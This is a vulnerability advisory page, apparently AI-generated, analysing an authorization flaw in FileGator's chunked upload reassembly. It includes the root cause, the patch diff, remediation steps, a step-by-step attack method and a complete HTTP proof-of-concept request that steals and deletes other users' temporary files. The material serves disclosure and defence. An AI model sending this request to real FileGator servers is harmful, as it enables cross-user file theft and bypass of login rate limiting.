CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-94619

CVE-2026-94619: Missing Authorization and Unnamespaced Temporary File Reassembly in FileGator UploadController

Alon Barad
Alon Barad
Software Engineer

Nov 10, 2026·9 min read·4 visits

Executive Summary (TL;DR)

FileGator prior to 7.15.0 uses an unnamespaced filename during chunked upload reassembly in shared temporary storage. By sending an upload request with resumableTotalChunks=0 and resumableTotalSize=0, an authenticated attacker can skip chunk concatenation and cause the server to move any existing temporary file (such as another user's batch download ZIP archive or an IP lockfile) into the attacker's home directory.

An authorization bypass and insecure direct object reference (IDOR) vulnerability exists in FileGator versions prior to 7.15.0 within the chunked file upload reassembly handler. When processing multipart uploads in backend/Controllers/UploadController.php, the application fails to namespace the target assembly filename with a user-specific prefix inside the shared temporary storage directory. Authenticated users with upload privileges can manipulate chunk metadata parameters to exfiltrate, corrupt, or delete arbitrary transient files belonging to other users or the system.

Vulnerability Overview

FileGator is a multi-user web-based file manager that supports isolated per-user home directories while utilizing a shared temporary filesystem (tmpfs) for transient operations. These transient operations include staging partial chunks during resumable file uploads, generating batch download .zip archives for multiple files, and maintaining authentication rate-limit lockfiles. The HTTP endpoint POST /upload, handled by Filegator\Controllers\UploadController::upload in backend/Controllers/UploadController.php, manages incoming file chunks sent via the resumable.js frontend protocol.

In FileGator versions prior to 7.15.0, an architectural mismatch exists between how individual upload chunks are staged and how the final file is reassembled in tmpfs. While individual incoming chunks are prefixed with a unique string derived from the authenticated user's username and an upload identifier, the final reassembled file is written to and read from tmpfs using the raw, unprefixed resumableFilename parameter supplied by the client. Because tmpfs is shared across all tenants and system components, any file residing at the root of the temporary directory can be referenced directly.

Tracked as CVE-2026-94619 (and GHSA-44r8-3p76-84mw) and classified under CWE-862 (Missing Authorization), this flaw allows an authenticated user with standard upload permissions to cross tenant boundaries. By supplying boundary values for chunk counts and total size, an attacker can bypass the chunk concatenation loop entirely and trigger the post-assembly storage routine against pre-existing files in tmpfs. This results in the unauthorized transfer of another user's transient files into the attacker's personal home directory, followed by the deletion of the original temporary file.

Root Cause Analysis

The root cause of CVE-2026-94619 is the combination of an unnamespaced file key during temporary file reassembly and insufficient validation of the resumableTotalChunks and resumableTotalSize request parameters in UploadController::upload.

When a client initiates a chunked upload, UploadController::upload sanitizes the authenticated username and the user-supplied resumableIdentifier to construct a session-specific prefix:

$prefix = 'multipart_'.$clean_username.'_'.$identifier.'_';

Each uploaded part is written to $this->tmpfs under $prefix.$file_name.'.part'.$chunk_number. The controller then calculates the cumulative size of all uploaded chunks matching $prefix.'*' and compares this sum ($chunks_size) against the user-controlled $total_size (resumableTotalSize).

When $chunks_size >= $total_size evaluates to true, the controller enters the completion block. It iterates from $i = 1 to $total_chunks (resumableTotalChunks), reading each prefixed chunk and appending it to $file_name in $this->tmpfs. Crucially, $file_name does not include $prefix. After the loop terminates, the application opens a read stream to $file_name in tmpfs, writes its contents into the authenticated user's persistent storage directory ($this->storage->store(...)), and deletes $file_name from tmpfs ($this->tmpfs->remove($file_name)).

If an attacker sets resumableTotalSize = 0 and resumableTotalChunks = 0, the condition $chunks_size >= $total_size immediately succeeds (0 >= 0 or 1 >= 0 depending on the dummy payload size). However, the for ($i = 1; $i <= $total_chunks; ++$i) loop executes zero times because 1 <= 0 is false. No new file is created or overwritten by the loop, and execution proceeds directly to $this->tmpfs->readStream($file_name). If a file matching $file_name already exists in the shared tmpfs directory, its stream is read, copied into the attacker's home directory, and unlinked from tmpfs.

Conversely, if an attacker sets resumableTotalChunks = 1 and uploads a valid single chunk whose size meets or exceeds resumableTotalSize, the for loop executes once and invokes $this->tmpfs->write($file_name, $part['stream'], true). Because the third parameter ($append) is set to true, the attacker's payload is appended to any existing file named $file_name in tmpfs prior to moving and deleting it.

Code Analysis

In versions prior to 7.15.0, the vulnerable reassembly logic in backend/Controllers/UploadController.php lines 114–131 operated directly on $file_name within the shared temporary storage service:

// Vulnerable code in backend/Controllers/UploadController.php (< 7.15.0)
if ($chunks_size >= $total_size) {
    // FLAW 1: If $total_chunks <= 0, this loop does not execute
    for ($i = 1; $i <= $total_chunks; ++$i) {
        $part = $this->tmpfs->readStream($prefix.$file_name.'.part'.$i);
        // FLAW 2: Writes to unprefixed $file_name in shared tmpfs with append=true
        $this->tmpfs->write($file_name, $part['stream'], true);
    }
 
    // FLAW 3: Reads arbitrary existing $file_name from shared tmpfs
    $final = $this->tmpfs->readStream($file_name);
    $res = $this->storage->store($destination, $final['filename'], $final['stream'], $overwrite_on_upload);
 
    // FLAW 4: Deletes arbitrary $file_name from shared tmpfs
    $this->tmpfs->remove($file_name);
    foreach ($this->tmpfs->findAll($prefix.'*') as $expired_chunk) {
        $this->tmpfs->remove($expired_chunk['name']);
    }
 
    return $res ? $response->json('Stored') : $response->json('Error storing file');
}

Commit cae442a8323fddae7c8cee0924cdbb1aa6eea702 resolves the vulnerability by introducing a user-scoped assembly target ($assembled = $prefix.$file_name) and verifying its existence before transferring it to persistent storage:

diff --git a/backend/Controllers/UploadController.php b/backend/Controllers/UploadController.php
index 0299de18..4d00f866 100644
--- a/backend/Controllers/UploadController.php
+++ b/backend/Controllers/UploadController.php
@@ -113,16 +113,26 @@ public function upload(Request $request, Response $response)
 
         // if all the chunks are present, create final file and store it
         if ($chunks_size >= $total_size) {
+            // Assemble the chunks into a temporary file kept inside this request's
+            // own namespace ($prefix already encodes the user), so the assembly can
+            // never read, write or delete another user's temporary files.
+            $assembled = $prefix.$file_name;
+
             for ($i = 1; $i <= $total_chunks; ++$i) {
                 $part = $this->tmpfs->readStream($prefix.$file_name.'.part'.$i);
-                $this->tmpfs->write($file_name, $part['stream'], true);
+                $this->tmpfs->write($assembled, $part['stream'], true);
             }
 
-            $final = $this->tmpfs->readStream($file_name);
-            $res = $this->storage->store($destination, $final['filename'], $final['stream'], $overwrite_on_upload);
+            $res = false;
+            if ($this->tmpfs->exists($assembled)) {
+                $final = $this->tmpfs->readStream($assembled);
+                // the stored name is the sanitized file name without the prefix
+                $name = substr($final['filename'], strlen($prefix));
+                $res = $this->storage->store($destination, $name, $final['stream'], $overwrite_on_upload);
+                $this->tmpfs->remove($assembled);
+            }
 
             // cleanup
-            $this->tmpfs->remove($file_name);
             foreach ($this->tmpfs->findAll($prefix.'*') as $expired_chunk) {
                 $this->tmpfs->remove($expired_chunk['name']);
             }

Fix Completeness Assessment

The patch addresses both the namespace collision and the zero-chunk bypass. Because $prefix starts with the literal string 'multipart_' followed by the sanitized username and identifier, $assembled cannot collide with system lockfiles (which end in .lock and lack the multipart_ prefix), batch download archives (which lack the multipart_ prefix), or another user's upload chunks (which carry a different $clean_username).

Furthermore, if a user submits resumableTotalChunks = 0, the for loop does not execute, $assembled is never created in tmpfs (as individual chunks carry the .partN suffix), and $this->tmpfs->exists($assembled) returns false. The cleanup loop findAll($prefix.'*') subsequently deletes the dummy .part1 chunk without affecting any other files in tmpfs.

Exploitation

To exploit CVE-2026-94619, an attacker must possess an authenticated FileGator user account with the upload permission enabled. No administrative privileges or access to other users' home directories are required. The attacker must also know or predict the filename of a target transient file residing in the shared temporary directory (repository/tmp/ by default).

High-value targets in tmpfs include:

  • Batch Download Archives: Created when another user triggers a multi-file download (BatchDownloadController), stored temporarily in tmpfs before streaming to the client.
  • Authentication Lockfiles: Created by AuthController (e.g., md5($ip).'.lock') to enforce brute-force rate limiting.
  • Concurrent Upload Assemblies: Files actively being assembled by other users if their resumableFilename is predictable.

Attack Methodology

  1. The attacker authenticates to FileGator and obtains a valid session cookie.
  2. To pass the initial validation checks in UploadController::upload (!$file || !$file->isValid() || $file->getSize() > $max_size), the attacker includes a minimal non-empty file payload (e.g., 1 byte) in the file multipart field.
  3. The attacker sets resumableChunkNumber=1, resumableTotalChunks=0, resumableTotalSize=0, and sets resumableFilename to the target filename in tmpfs.
  4. When the server processes the request, it writes the 1-byte dummy chunk to multipart_<attacker>_<id>_<target>.part1, sees $chunks_size (1) >= $total_size (0), skips the assembly loop (1 <= 0), reads <target> from tmpfs, stores it in the attacker's home directory, and deletes <target> from tmpfs.

Proof of Concept

The following HTTP request demonstrates exfiltrating and deleting a transient file named target_temporary_file.zip from tmpfs into the root of the attacker's home directory:

POST /upload HTTP/1.1
Host: filegator.target.local
Cookie: filegator_session=<session_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX
 
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableChunkNumber"
 
1
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableTotalChunks"
 
0
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableTotalSize"
 
0
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableIdentifier"
 
attack
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableFilename"
 
target_temporary_file.zip
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableRelativePath"
 
/
------WebKitFormBoundaryX
Content-Disposition: form-data; name="file"; filename="dummy.bin"
Content-Type: application/octet-stream
 
A
------WebKitFormBoundaryX--

The vendor regression test introduced in tests/backend/Feature/UploadAuthorizationTest.php verifies this exact exploitation path:

public function testUploadCannotReachAnotherUsersTemporaryFile()
{
    file_put_contents(TEST_TMP_PATH.'victimsecret', 'VICTIM SECRET');
 
    $this->signIn('john@example.com', 'john123');
    mkdir(TEST_REPOSITORY.'/john');
 
    $fp = fopen(TEST_FILE, 'w');
    fwrite($fp, 'x');
    fclose($fp);
    $files = ['file' => new UploadedFile(TEST_FILE, 'dummy.txt', 'text/plain', null, true)];
 
    $this->sendRequest('POST', '/upload', [
        'resumableChunkNumber' => 1,
        'resumableTotalChunks' => 0,
        'resumableTotalSize' => 0,
        'resumableIdentifier' => 'ATTACK',
        'resumableFilename' => 'victimsecret',
        'resumableRelativePath' => '/',
    ], $files);
}

Impact Assessment

CVE-2026-94619 carries a CVSS v3.1 Base Score of 5.9 (Medium) with the vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:L/A:L. While exploitation requires an authenticated account with upload privileges (PR:L), a race window or prior action by another user (AC:H, UI:R), and knowledge of the target temporary filename, the resulting impact spans confidentiality, integrity, and availability.

  • Confidentiality Impact (C:H): In multi-tenant deployments where users are restricted to isolated home directories ($this->storage->setPathPrefix($user->getHomeDir())), an attacker can steal sensitive files belonging to other users or administrators whenever those files pass through tmpfs (such as batch download archives).
  • Integrity Impact (I:L): By supplying resumableTotalChunks >= 1, an attacker can append arbitrary bytes to an existing file in tmpfs before it is processed or downloaded by its intended owner, allowing data corruption or content injection into transient files.
  • Availability Impact (A:L): Because $this->tmpfs->remove($file_name) runs unconditionally after reading the file stream, the original file in tmpfs is deleted. This interrupts legitimate downloads for other users and allows an attacker to delete IP-based brute-force lockfiles from tmpfs to bypass login rate limiting.

> [!NOTE] > As of the latest threat intelligence data, the EPSS score for CVE-2026-94619 is 0.00171 (6.54th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

Administrators operating FileGator in multi-user configurations should upgrade to version 7.15.0 or later. Version 7.15.0 incorporates commit cae442a8323fddae7c8cee0924cdbb1aa6eea702, which enforces user-prefixed namespacing during temporary file reassembly and checks for the existence of the assembled artifact prior to storage transfer.

Workarounds and Defense-in-Depth

For environments where an immediate upgrade to 7.15.0 is not possible, security teams can apply the following mitigations:

  1. Web Application Firewall (WAF) Filtering: Inspect multipart/form-data requests sent to POST /upload and block any request where resumableTotalChunks or resumableTotalSize is less than or equal to 0.
  2. Restrict Upload Permissions: Remove upload privileges from untrusted or guest user accounts within FileGator's user configuration (permissions array).
  3. Process and Storage Isolation: If strict multi-tenant isolation is required on legacy versions, deploy separate FileGator instances with dedicated repository/tmp directories per tenant rather than relying on shared temporary storage.

Official Patches

FileGatorOfficial Fix Commit (PR #598)
FileGatorFileGator Release v7.15.0
FileGatorGitHub Security Advisory GHSA-44r8-3p76-84mw

Fix Analysis (1)

Technical Appendix

CVSS Score
5.9/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:L/A:L
EPSS Probability
0.17%
Top 93% most exploited

Affected Systems

FileGator < 7.15.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
filegator
filegator
< 7.15.07.15.0
AttributeDetail
CVE IDCVE-2026-94619 (GHSA-44r8-3p76-84mw)
Weakness ClassCWE-862: Missing Authorization
Attack VectorNetwork (Authenticated HTTP POST to /upload)
CVSS v3.1 Score5.9 Medium (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:L/A:L)
EPSS Score0.171% (6.54th percentile)
ImpactCross-user temporary file disclosure, tampering, and deletion
Exploit StatusPoC Available (Vendor regression test)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-862
Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Known Exploits & Detection

GitHubOfficial vendor fix commit including automated regression test PoC in tests/backend/Feature/UploadAuthorizationTest.php

Vulnerability Timeline

Initial security hardening of batch download identifiers and access control (PR #597)
2026-08-12
Fix for CVE-2026-94619 merged via Pull Request #598 (commit cae442a8323fddae7c8cee0924cdbb1aa6eea702)
2026-08-13
FileGator v7.15.0 released
2026-08-13
GitHub Security Advisory GHSA-44r8-3p76-84mw and NVD record for CVE-2026-94619 published
2026-11-06
CVSS v3.1 analysis and NVD record updated
2026-11-09

References & Sources

  • [1]GitHub Security Advisory GHSA-44r8-3p76-84mw
  • [2]FileGator Official Patch Commit cae442a8323fddae7c8cee0924cdbb1aa6eea702
  • [3]FileGator GitHub Pull Request #598
  • [4]FileGator Release v7.15.0
  • [5]National Vulnerability Database (NVD) - CVE-2026-94619
  • [6]CVE.org Record - CVE-2026-94619
  • [7]Related FileGator Batch Download Advisory (GHSA-f74m-x83r-c4v4)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•35 minutes ago•CVE-2026-94618
5.4

CVE-2026-94618: Missing Authorization and Weak Archive Identifier Generation in FileGator Batch Download

FileGator versions prior to 7.15.0 contain a missing authorization check (CWE-862) and predictable identifier generation flaw (CWE-330) in the batch download implementation. When a user initiates a batch download, FileGator generates a temporary ZIP archive identified by PHP's non-cryptographic uniqid() function without binding the resulting identifier to the creating user's session. Consequently, any authenticated user with read, download, and batchdownload permissions who obtains or predicts an active archive identifier can retrieve another user's private files via GET /batchdownload, bypassing per-user home directory isolation and deleting the victim's temporary archive upon download completion.

Alon Barad
Alon Barad
1 views•10 min read
•about 3 hours ago•CVE-2026-77596
9.6

CVE-2026-77596: Cross-Tenant Authorization Bypass in Kubeflow Pipelines Upload API

CVE-2026-77596 is an authorization bypass vulnerability in the Kubeflow Pipelines API server affecting multi-user deployments prior to version 2.18.0. The HTTP multipart upload handlers prematurely terminate authorization checks and return success when the target namespace parameter is empty or omitted. Because the default configuration allows pipelines without namespaces to function as cluster-wide shared resources, any low-privileged tenant can create shared pipelines or inject arbitrary pipeline versions into existing shared pipelines without undergoing Kubernetes SubjectAccessReview validation. When other tenants execute unpinned recurring runs tracking these shared pipelines, the attacker-supplied workload runs inside the victim tenant's namespace using the victim's service account credentials.

Alon Barad
Alon Barad
5 views•10 min read
•about 4 hours ago•CVE-2026-85737
6.5

CVE-2026-85737: Missing Authorization and Arbitrary File Disclosure in Velocidex Velociraptor sql() VQL Plugin

An authorization bypass vulnerability in Velocidex Velociraptor versions prior to 0.77.2 allows authenticated users with low-privilege query permissions to bypass access controls in the sql() VQL plugin. By supplying crafted MySQL connection strings pointing to an attacker-controlled rogue MySQL server with local-infile enabled, an attacker can read arbitrary files from the Velociraptor server host filesystem with the privileges of the server process.

Alon Barad
Alon Barad
6 views•8 min read
•about 4 hours ago•CVE-2026-97705
7.5

CVE-2026-97705: Unauthenticated Denial of Service in Moleculer TCP Transporter Packet Parser

CVE-2026-97705 (GHSA-h89v-g948-47vp) is a high-severity unauthenticated Denial of Service (DoS) vulnerability affecting the Moleculer microservices framework for Node.js in versions prior to 0.14.36 and 0.15.2. The vulnerability resides in the internal TCP transporter packet parser (`src/transporters/tcp/parser.js`), which decodes the 4-byte packet length field as a signed 32-bit integer using `Buffer.prototype.readInt32BE()`. An unauthenticated attacker with network access to an exposed TCP transporter port can transmit a single malformed packet containing a negative length value or a positive length value less than the 6-byte header size. Due to how Node.js `Buffer.prototype.slice()` processes negative or sub-header offsets, the parser fails to advance the incoming buffer cursor while remaining inside a synchronous `while (packet.length > 0)` loop. Because Node.js relies on a single-threaded event loop, this infinite loop permanently blocks execution, freezing all services and endpoints within the affected process until manual intervention.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 6 hours ago•CVE-2026-108262
6.5

CVE-2026-108262: Arbitrary Host File Overwrite via Tar Symlink Traversal in DDEV

CVE-2026-108262 (GHSA-9hq4-hm3j-jmph) is a path traversal and arbitrary file overwrite vulnerability in the tar archive extraction routine of DDEV versions 1.25.2 and 1.25.3. Resulting from an incomplete fix for CVE-2026-32885, the Untar function in pkg/archive/archive.go validates absolute symbolic link targets by rebasing them against the extraction destination directory, but subsequently creates the symbolic link on disk using the raw, unvalidated absolute path. When subsequent entries in the archive write through the planted symbolic link, the host operating system resolves the link directly to the host filesystem, allowing an attacker to overwrite arbitrary files with the privileges of the user executing DDEV.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 7 hours ago•CVE-2026-119298
4.2

CVE-2026-119298: Overwrite Confirmation Bypass in schollz/croc via Unvalidated Text Artifact Prefix

CVE-2026-119298 (GHSA-x89h-7h96-v88f) is a file overwrite confirmation bypass vulnerability in schollz/croc prior to version 11.5.2. The receive-side file validation logic in src/croc/croc.go improperly exempted any incoming file whose basename began with the prefix 'croc-stdin-' from interactive overwrite prompts and automatic collision renaming, failing to verify if the transfer session was actually an internal text transfer. An unauthenticated remote peer participating in a transfer session can exploit this flaw to silently overwrite, truncate, or replace matching pre-existing files in the receiver's working directory.

Amit Schendel
Amit Schendel
4 views•9 min read